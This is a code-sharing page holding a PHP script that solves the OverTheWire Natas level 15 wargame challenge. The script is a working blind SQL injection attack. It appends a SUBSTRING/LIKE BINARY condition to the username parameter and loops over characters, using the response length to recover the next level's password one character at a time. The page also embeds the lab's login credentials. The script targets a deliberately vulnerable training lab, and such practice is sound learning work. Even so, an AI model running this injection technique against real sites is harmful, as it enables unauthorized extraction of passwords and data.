3v4l.org

run code in 300+ PHP versions simultaneously
<?php #initialization //include("LIB_http.php"); //include("LIB_parse.php"); $chars=("1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"); $credentials="natas15:m2azll7JH6HS8Ay3SOjG3AGGlDGTJSTV"; $ch=curl_init(); $pass=""; $target=("natas15.natas.labs.overthewire.org/index.php"); $needle="r e"; for($xx=1;$xx<33;$xx++) for($yy=0;$yy<62;$yy++) { $char=substr($chars,$yy,1); $target2=$target."?username=natas16\" and SUBSTRING(password,$xx,1) LIKE BINARY \"".$char; echo "\n".$target2."\n"; curl_setopt($ch, CURLOPT_URL, $target2); curl_setopt($ch, CURLOPT_USERPWD, $credentials); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); $page=curl_exec($ch); echo "\n".strlen($page); if(strlen($page)<288) { $pass=$pass.$char; echo "\n\n\n\n\n\n\n\n\n\n\n\n\nLa pass per ora e': ".$pass."\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"; $yy=62; } } echo "\nLa password e': ".$pass; ?>

preferences:
68.41 ms | 402 KiB | 5 Q